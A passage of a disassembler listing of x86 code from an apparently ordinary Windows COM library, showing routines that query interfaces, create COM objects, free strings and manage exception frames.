		lea	eax, [edi+4]
		push	eax
		lea	ecx, [esi+4]
		call	sub_69B4D414
		mov	eax, [edi+10h]
		mov	[esi+10h], eax
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_69B8982E
		push	eax
		call	sub_69B2F0C4
		push	eax
		jmp	short loc_69B89830
; ---------------------------------------------------------------------------


loc_69B8982E:				; CODE XREF: sub_69B89804+1Fj
		push	0


loc_69B89830:				; CODE XREF: sub_69B89804+28j
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		mov	eax, [edi+0Ch]
		test	eax, eax
		jz	short loc_69B89849
		push	eax
		call	sub_69B2F0C4
		push	eax
		jmp	short loc_69B8984B
; ---------------------------------------------------------------------------


loc_69B89849:				; CODE XREF: sub_69B89804+3Aj
		push	0


loc_69B8984B:				; CODE XREF: sub_69B89804+43j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		mov	al, [edi+14h]
		mov	[esi+14h], al
		mov	al, [edi+15h]
		pop	edi
		mov	[esi+15h], al
		pop	esi
		retn	4
sub_69B89804	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B89865	proc near		; CODE XREF: sub_69B89EAF+55p
					; sub_69B89F54+7Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B8903E
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		mov	byte ptr [esi+14h], 1
		pop	esi
		retn	4
sub_69B89865	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B89883	proc near		; CODE XREF: sub_69B89EAF+5Fp
					; sub_69B8A014+44p

String		= word ptr -1090h
var_48		= byte ptr -48h
pv		= dword	ptr -44h
var_40		= dword	ptr -40h
lpString	= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_69B89B38
		push	offset sub_69B22496
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 1078h
		call	sub_69B1B09C
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_20], ecx
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+lpString],	ebx
		mov	[ebp+var_4], ebx
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		lea	ecx, [ebp+var_38]
		push	ecx
		mov	edi, offset stru_69B25E34
		push	edi
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B8992D
		mov	eax, [ebp+var_38]
		mov	ecx, [eax]
		lea	edx, [ebp+lpString]
		push	edx
		push	eax
		call	dword ptr [ecx+0F4h]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	loc_69B89ADD
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		push	eax
		mov	esi, [ebp+var_20]
		lea	ecx, [esi+8]
		call	sub_69B199CC
		push	eax
		lea	ecx, [esi+0Ch]
		call	sub_69B4D414
		jmp	loc_69B89AB1
; ---------------------------------------------------------------------------


loc_69B8992D:				; CODE XREF: sub_69B89883+6Bj
		mov	eax, [esi]
		lea	ecx, [ebp+var_24]
		push	ecx
		push	offset dword_69B2B170
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B899A0
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		lea	edx, [ebp+var_28]
		push	edx
		push	1
		push	1
		push	eax
		call	dword ptr [ecx+10h]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	loc_69B89ADD
		mov	eax, [ebp+var_28]
		mov	ecx, [eax]
		lea	edx, [ebp+pv]
		push	edx
		push	ebx
		push	ebx
		push	eax
		call	dword ptr [ecx+50h]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	loc_69B89ADD
		cmp	[ebp+pv], ebx
		jz	loc_69B89ADD
		push	[ebp+pv]	; lpString
		call	sub_69B1A587
		push	eax
		mov	ecx, [ebp+var_20]
		add	ecx, 0Ch
		call	sub_69B199CC
		push	[ebp+pv]	; pv
		call	ds:CoTaskMemFree
		jmp	loc_69B89ADD
; ---------------------------------------------------------------------------


loc_69B899A0:				; CODE XREF: sub_69B89883+BAj
		mov	eax, [esi]
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	offset dword_69B2B040
		push	esi
		call	dword ptr [eax]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	loc_69B89ADD
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_30]
		push	edx
		push	offset dword_69B2AFF0
		push	offset nullsub_1
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	short loc_69B89A18
		mov	eax, [ebp+var_30]
		mov	ecx, [eax]
		lea	edx, [ebp+var_48]
		push	edx
		push	1048h
		lea	edx, [ebp+String]
		push	edx
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	loc_69B89ADD
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	sub_69B1A587
		push	eax
		mov	ecx, [ebp+var_20]
		add	ecx, 0Ch
		call	sub_69B199CC
		jmp	loc_69B89ADD
; ---------------------------------------------------------------------------


loc_69B89A18:				; CODE XREF: sub_69B89883+152j
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_38]
		push	edx
		push	edi
		mov	edi, offset dword_69B2AF00
		push	edi
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	short loc_69B89A4D
		mov	eax, [ebp+var_38]
		cmp	eax, ebx
		jz	loc_69B89ADD
		mov	ecx, [eax]
		lea	edx, [ebp+lpString]
		push	edx
		push	eax
		call	dword ptr [ecx+0F4h]
		jmp	short loc_69B89A96
; ---------------------------------------------------------------------------


loc_69B89A4D:				; CODE XREF: sub_69B89883+1AEj
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_34]
		push	edx
		mov	esi, (offset loc_69B2B07C+4)
		push	esi
		push	offset dword_69B2AEF0
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jge	short loc_69B89A82
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_34]
		push	edx
		push	esi
		push	edi
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	short loc_69B89ADD


loc_69B89A82:				; CODE XREF: sub_69B89883+1E7j
		mov	eax, [ebp+var_34]
		cmp	eax, ebx
		jz	short loc_69B89ADD
		mov	ecx, [eax]
		lea	edx, [ebp+lpString]
		push	edx
		push	eax
		call	dword ptr [ecx+0A0h]


loc_69B89A96:				; CODE XREF: sub_69B89883+1C8j
		mov	[ebp+var_40], eax
		cmp	eax, ebx
		jl	short loc_69B89ADD
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		mov	ecx, [ebp+var_20]
		add	ecx, 0Ch
		push	eax
		call	sub_69B199CC


loc_69B89AB1:				; CODE XREF: sub_69B89883+A5j
		push	[ebp+lpString]	; BSTR
		call	SysFreeString
		jmp	short loc_69B89ADD
; ---------------------------------------------------------------------------


loc_69B89ABC:				; DATA XREF: .text:69B89B3Co
		push	[ebp+var_14]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B89AC5:				; DATA XREF: .text:69B89B40o
		mov	esp, [ebp+var_18]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp+var_40], eax


loc_69B89ADD:				; CODE XREF: sub_69B89883+82j
					; sub_69B89883+D2j ...
		or	[ebp+var_4], 0FFFFFFFFh
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_69B17230
		mov	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	ecx, [ebp+var_1C]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B89883	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B89B38	dd 0FFFFFFFFh			dd offset loc_69B89ABC
		dd offset loc_69B89AC5

; =============== S U B	R O U T	I N E =======================================



sub_69B89B44	proc near		; CODE XREF: sub_69B89C91+A2p

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dword ptr [eax], offset	off_69B2B1B4
		mov	dword ptr [eax+4], offset off_69B2B1A4
		mov	dword ptr [eax+8], 1
		mov	[eax+0Ch], ecx
		retn	4
sub_69B89B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B89B64	proc near		; CODE XREF: .text:69B89C48j
					; DATA XREF: .text:off_69B2B1B4o

var_76		= byte ptr -76h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B89BB3
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B040
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B89BB3
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset loc_69B89BD4
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B89BA6
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jmp	short loc_69B89BC6
; ---------------------------------------------------------------------------


loc_69B89BA6:				; CODE XREF: sub_69B89B64+36j
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax], 0
		mov	eax, 80004002h
		jmp	short loc_69B89BCE
; ---------------------------------------------------------------------------


loc_69B89BB3:				; CODE XREF: sub_69B89B64+14j
					; sub_69B89B64+25j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		neg	ecx
		lea	edx, [eax+4]
		sbb	ecx, ecx
		and	ecx, edx
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx


loc_69B89BC6:				; CODE XREF: sub_69B89B64+40j
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax


loc_69B89BCE:				; CODE XREF: sub_69B89B64+4Dj
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B89BD4:				; DATA XREF: sub_69B89B64+2Do
		in	eax, dx
		leave
		jmp	far ptr	8C11h:0CEBAF979h
; ---------------------------------------------------------------------------
		add	byte ptr [eax],	0AAh
		add	[ebx-57h], cl


loc_69B89BE3:				; DATA XREF: .text:69B2B1B8o
		or	ecx, [ebx-0FBDBBCh]
		inc	eax
		or	[ebx+4C20840h],	cl


loc_69B89BF0:				; DATA XREF: .text:69B2B1B0o
		add	[ebp-75h], dl
		in	al, dx
sub_69B89B64	endp ; sp-analysis failed

		mov	eax, [ebp+14h]
		mov	edx, [ebp+8]
		and	dword ptr [eax], 0
		cmp	dword ptr [edx+8], 0
		push	esi
		push	edi
		jz	short loc_69B89C38
		mov	edi, [ebp+0Ch]
		push	ebx
		push	4
		mov	eax, offset stru_69B2AF10
		pop	ecx
		xor	ebx, ebx
		mov	esi, eax
		repe cmpsd
		pop	ebx
		jnz	short loc_69B89C38
		mov	edi, [ebp+10h]
		push	4
		mov	esi, eax
		pop	ecx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B89C38
		push	dword ptr [ebp+14h]
		mov	eax, [edx+8]
		push	dword ptr [ebp+10h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B89C3D
; ---------------------------------------------------------------------------


loc_69B89C38:				; CODE XREF: .text:69B89C03j
					; .text:69B89C18j ...
		mov	eax, 80004005h


loc_69B89C3D:				; CODE XREF: .text:69B89C36j
		pop	edi
		pop	esi
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_69B89C43:				; DATA XREF: .text:off_69B2B1A4o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B89B64
; ---------------------------------------------------------------------------
byte_69B89C4D	db 83h,	6Ch, 24h	; DATA XREF: .text:69B2B1A8o
		dd 90EB0404h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B89DC8


loc_69B89C54:				; CODE XREF: sub_69B89DC8+5j
					; DATA XREF: .text:69B2B1BCo
		push	esi
		mov	esi, [esp+4+arg_0]
		dec	dword ptr [esi+8]
		push	edi
		mov	edi, [esi+8]
		jnz	short loc_69B89C6F
		mov	ecx, esi
		call	sub_69B89C76
		push	esi
		call	sub_69B1B2B7


loc_69B89C6F:				; CODE XREF: sub_69B89DC8-168j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B89DC8

; =============== S U B	R O U T	I N E =======================================



sub_69B89C76	proc near		; CODE XREF: sub_69B89DC8-164p
		mov	dword ptr [ecx], offset	off_69B2B1B4
		mov	dword ptr [ecx+4], offset off_69B2B1A4
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		jz	short locret_69B89C90
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]

locret_69B89C90:			; CODE XREF: sub_69B89C76+12j
		retn
sub_69B89C76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B89C91	proc near		; CODE XREF: sub_69B6F543+44p

var_C		= dword	ptr -0Ch
ppv		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, ecx
		mov	[eax], bl
		cmp	[esi+10h], ebx
		jnz	short loc_69B89CAE
		xor	eax, eax
		jmp	loc_69B89DC2
; ---------------------------------------------------------------------------


loc_69B89CAE:				; CODE XREF: sub_69B89C91+14j
		push	edi
		lea	edi, [esi+4]
		push	ebx
		mov	ecx, edi
		call	sub_69B3D51D
		test	eax, eax
		jnz	loc_69B89DB9
		mov	eax, [esi+0Ch]
		cmp	eax, ebx
		jz	loc_69B89DB9
		cmp	[eax+8], ebx
		jz	loc_69B89DB9
		cmp	[esi+15h], bl
		jnz	loc_69B89D87
		mov	ecx, [edi]
		cmp	ecx, ebx
		mov	[ebp+var_4], ebx
		jz	short loc_69B89CF8
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_69B2B040
		call	sub_69B88161
		jmp	short loc_69B89CFD
; ---------------------------------------------------------------------------


loc_69B89CF8:				; CODE XREF: sub_69B89C91+55j
		mov	eax, 80004005h


loc_69B89CFD:				; CODE XREF: sub_69B89C91+65j
		cmp	eax, ebx
		jl	loc_69B89D87
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_C]
		push	edx
		mov	edi, offset stru_69B2AF10
		push	edi
		push	edi
		mov	[ebp+var_C], ebx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jl	short loc_69B89D7A
		push	10h
		mov	[ebp+ppv], ebx
		call	sub_69B1D897
		cmp	eax, ebx
		jz	short loc_69B89D3C
		push	[ebp+var_C]
		mov	ecx, eax
		call	sub_69B89B44
		mov	esi, eax
		jmp	short loc_69B89D3E
; ---------------------------------------------------------------------------


loc_69B89D3C:				; CODE XREF: sub_69B89C91+9Bj
		xor	esi, esi


loc_69B89D3E:				; CODE XREF: sub_69B89C91+A9j
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	edi		; riid
		push	1		; dwClsContext
		push	ebx		; pUnkOuter
		push	offset stru_69B2AED0 ; rclsid
		call	ds:CoCreateInstance
		test	eax, eax
		push	esi
		jl	short loc_69B89D73
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, [ebp+ppv]
		jmp	short loc_69B89DC1
; ---------------------------------------------------------------------------


loc_69B89D73:				; CODE XREF: sub_69B89C91+C3j
		mov	eax, [esi]
		call	dword ptr [eax+8]
		jmp	short loc_69B89D7E
; ---------------------------------------------------------------------------


loc_69B89D7A:				; CODE XREF: sub_69B89C91+8Dj
		mov	byte ptr [esi+15h], 1


loc_69B89D7E:				; CODE XREF: sub_69B89C91+E7j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B89D87:				; CODE XREF: sub_69B89C91+48j
					; sub_69B89C91+6Ej
		mov	eax, dword_69B9B678
		cmp	eax, ebx
		jnz	short loc_69B89DAC
		push	offset dword_69B9B678 ;	ppv
		call	sub_69B2C72C
		cmp	eax, 80040154h
		jz	short loc_69B89DB9
		push	eax
		call	sub_69B8861E
		mov	eax, dword_69B9B678


loc_69B89DAC:				; CODE XREF: sub_69B89C91+FDj
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, dword_69B9B678
		jmp	short loc_69B89DC1
; ---------------------------------------------------------------------------


loc_69B89DB9:				; CODE XREF: sub_69B89C91+2Bj
					; sub_69B89C91+36j ...
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	1
		xor	eax, eax


loc_69B89DC1:				; CODE XREF: sub_69B89C91+E0j
					; sub_69B89C91+126j
		pop	edi


loc_69B89DC2:				; CODE XREF: sub_69B89C91+18j
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B89C91	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B89DC8	proc near		; DATA XREF: .text:69B2B1ACo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B89C54 SIZE 00000022 BYTES

		sub	[esp+arg_0], 4
		jmp	loc_69B89C54
sub_69B89DC8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B8A09C


loc_69B89DD2:				; CODE XREF: sub_69B8A09C+Dj
		push	esi
		push	edi
		mov	esi, ecx
		push	1
		lea	edi, [esi+8]
		push	offset stru_69B1CA6C
		mov	ecx, edi
		call	sub_69B19B94
		push	[esp+8+arg_0]
		lea	ecx, [esi+14h]
		mov	dword ptr [esi], offset	off_69B89E34
		mov	dword ptr [esi+4], offset off_69B89E20
		mov	dword ptr [edi], offset	off_69B89E1C
		call	sub_69B1E084
		push	[esp+8+arg_4]
		lea	ecx, [esi+18h]
		call	sub_69B1E084
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B8A09C
; ---------------------------------------------------------------------------
		align 4
off_69B89E1C	dd offset sub_69B8A0B3	; DATA XREF: sub_69B8A09C-2A1o
off_69B89E20	dd offset loc_69B89E7A	; DATA XREF: sub_69B8A09C-2A8o
		dd offset loc_69B89E84
		dd offset loc_69B89E8B
		dd offset loc_69B89694
		dd offset loc_69B89734
off_69B89E34	dd offset sub_69B88FDD	; DATA XREF: sub_69B8A09C-2AEo
		dd offset sub_69B89E54
		dd offset sub_69B89E63
		dd offset sub_69B89514
		dd offset sub_69B895F4
		dd offset sub_69B89E92
		dd offset sub_69B89E96
		dd offset sub_69B89E72

; =============== S U B	R O U T	I N E =======================================



sub_69B89E54	proc near		; CODE XREF: .text:69B89E89j
					; DATA XREF: .text:69B89E38o

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 8
		call	sub_69B18E54
		retn	4
sub_69B89E54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B89E63	proc near		; CODE XREF: .text:69B89E90j
					; DATA XREF: .text:69B89E3Co

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		add	ecx, 8
		call	sub_69B19038
		retn	4
sub_69B89E63	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B89E72	proc near		; DATA XREF: .text:69B89E50o
		add	ecx, 8
		jmp	sub_69B87FDC
sub_69B89E72	endp

; ---------------------------------------------------------------------------


loc_69B89E7A:				; DATA XREF: .text:off_69B89E20o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B88FDD
; ---------------------------------------------------------------------------


loc_69B89E84:				; DATA XREF: .text:69B89E24o
		sub	dword ptr [esp+4], 4
		jmp	short sub_69B89E54
; ---------------------------------------------------------------------------


loc_69B89E8B:				; DATA XREF: .text:69B89E28o
		sub	dword ptr [esp+4], 4
		jmp	short sub_69B89E63

; =============== S U B	R O U T	I N E =======================================



sub_69B89E92	proc near		; DATA XREF: .text:69B15384o
					; .text:69B1DDE8o ...
		mov	eax, [ecx+18h]
		retn
sub_69B89E92	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B89E96	proc near		; DATA XREF: .text:69B89E4Co
		mov	eax, [ecx+14h]
		lea	ecx, [eax+0Ch]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn
sub_69B89E96	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B89EA3	proc near		; CODE XREF: sub_69B3CD5C+38p
					; sub_69B7DC68+6p
		lea	eax, [ecx+4]
		push	0
		push	eax
		call	sub_69B17320
		retn
sub_69B89EA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B89EAF	proc near		; CODE XREF: .text:69B3D76Dp
					; sub_69B77BFC+12p
					; DATA XREF: ...
		push	0Ch
		push	offset dword_69B89F48
		call	sub_69B19C5C
		mov	ebx, ecx
		lea	esi, [ebx+4]
		xor	edi, edi
		cmp	[esi], edi
		jnz	short loc_69B89ECC
		cmp	[ebp+8], edi
		jz	short loc_69B89ECC
		inc	edi


loc_69B89ECC:				; CODE XREF: sub_69B89EAF+15j
					; sub_69B89EAF+1Aj
		push	dword ptr [ebp+8]
		mov	ecx, esi
		call	sub_69B3B7F3
		test	edi, edi
		jz	short loc_69B89F3C
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_69B89EF0
		lea	eax, [ebp-1Ch]
		push	eax
		push	offset stru_69B1CA6C
		call	sub_69B88161
		jmp	short loc_69B89EF5
; ---------------------------------------------------------------------------


loc_69B89EF0:				; CODE XREF: sub_69B89EAF+2Fj
		mov	eax, 80004005h


loc_69B89EF5:				; CODE XREF: sub_69B89EAF+3Fj
		push	eax
		call	sub_69B8861E
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp-1Ch]
		mov	ecx, ebx
		call	sub_69B89865
		push	dword ptr [ebp-1Ch]
		mov	ecx, ebx
		call	sub_69B89883
		jmp	short loc_69B89F2F
; ---------------------------------------------------------------------------


loc_69B89F15:				; DATA XREF: .text:69B89F4Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B89F1E:				; DATA XREF: .text:69B89F50o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		call	sub_69B2E860


loc_69B89F2F:				; CODE XREF: sub_69B89EAF+64j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B89F3C:				; CODE XREF: sub_69B89EAF+29j
		call	sub_69B1853C
		retn	4
sub_69B89EAF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B89F48	dd 0FFFFFFFFh			dd offset loc_69B89F15
		dd offset loc_69B89F1E

; =============== S U B	R O U T	I N E =======================================



sub_69B89F54	proc near		; CODE XREF: sub_69B3F10D+7Ap
					; sub_69B3F58D+Cp ...
		push	0Ch
		push	offset dword_69B8A008
		call	sub_69B19C5C
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jnz	short loc_69B89F87
		cmp	[esi+10h], ebx
		jz	loc_69B8A001
		push	ebx
		push	0C00CE213h
		push	80070005h
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B8A001
; ---------------------------------------------------------------------------


loc_69B89F87:				; CODE XREF: sub_69B89F54+13j
		cmp	[esi+10h], ebx
		jz	short loc_69B89FA4
		cmp	[esi+0Ch], ebx
		jnz	short loc_69B89FA4
		push	ebx
		push	0C00CE213h
		push	80070005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B89FA4:				; CODE XREF: sub_69B89F54+36j
					; sub_69B89F54+3Bj
		cmp	[esi+14h], bl
		jnz	short loc_69B8A001
		mov	ecx, [esi+4]
		cmp	ecx, ebx
		jz	short loc_69B89FC0
		lea	eax, [ebp-1Ch]
		push	eax
		push	offset stru_69B1CA6C
		call	sub_69B88161
		jmp	short loc_69B89FC5
; ---------------------------------------------------------------------------


loc_69B89FC0:				; CODE XREF: sub_69B89F54+5Aj
		mov	eax, 80004005h


loc_69B89FC5:				; CODE XREF: sub_69B89F54+6Aj
		push	eax
		call	sub_69B8861E
		mov	[ebp-4], ebx
		push	dword ptr [ebp-1Ch]
		mov	ecx, esi
		call	sub_69B89865
		jmp	short loc_69B89FF4
; ---------------------------------------------------------------------------


loc_69B89FDA:				; DATA XREF: .text:69B8A00Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B89FE3:				; DATA XREF: .text:69B8A010o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		call	sub_69B2E860


loc_69B89FF4:				; CODE XREF: sub_69B89F54+84j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8A001:				; CODE XREF: sub_69B89F54+18j
					; sub_69B89F54+31j ...
		call	sub_69B1853C
		retn
sub_69B89F54	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B8A008	dd 0FFFFFFFFh			dd offset loc_69B89FDA
		dd offset loc_69B89FE3

; =============== S U B	R O U T	I N E =======================================



sub_69B8A014	proc near		; CODE XREF: sub_69B3DD97+2Ap
					; sub_69B7B7AC+Ep
		push	0Ch
		push	offset dword_69B8A090
		call	sub_69B19C5C
		mov	esi, ecx
		xor	edi, edi
		cmp	[esi+10h], edi
		jz	short loc_69B8A086
		cmp	[esi+4], edi
		jz	short loc_69B8A086
		mov	ecx, [esi+4]
		cmp	ecx, edi
		jz	short loc_69B8A045
		lea	eax, [ebp-1Ch]
		push	eax
		push	offset stru_69B1CA6C
		call	sub_69B88161
		jmp	short loc_69B8A04A
; ---------------------------------------------------------------------------


loc_69B8A045:				; CODE XREF: sub_69B8A014+1Fj
		mov	eax, 80004005h


loc_69B8A04A:				; CODE XREF: sub_69B8A014+2Fj
		push	eax
		call	sub_69B8861E
		mov	[ebp-4], edi
		push	dword ptr [ebp-1Ch]
		mov	ecx, esi
		call	sub_69B89883
		jmp	short loc_69B8A079
; ---------------------------------------------------------------------------


loc_69B8A05F:				; DATA XREF: .text:69B8A094o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8A068:				; DATA XREF: .text:69B8A098o
		mov	esp, [ebp-18h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		call	sub_69B2E860


loc_69B8A079:				; CODE XREF: sub_69B8A014+49j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B8A086:				; CODE XREF: sub_69B8A014+13j
					; sub_69B8A014+18j
		call	sub_69B1853C
		retn
sub_69B8A014	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B8A090	dd 0FFFFFFFFh			dd offset loc_69B8A05F
		dd offset loc_69B8A068

; =============== S U B	R O U T	I N E =======================================



sub_69B8A09C	proc near		; CODE XREF: sub_69B1C12C+2F1Fp
					; sub_69B1C12C+3088p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B89DD2 SIZE 00000047 BYTES

		push	1Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B8A0AE
		mov	ecx, eax
		jmp	loc_69B89DD2
; ---------------------------------------------------------------------------


loc_69B8A0AE:				; CODE XREF: sub_69B8A09C+9j
		xor	eax, eax
		retn	8
sub_69B8A09C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8A0B3	proc near		; DATA XREF: .text:off_69B89E1Co

arg_0		= byte ptr  4

		push	esi
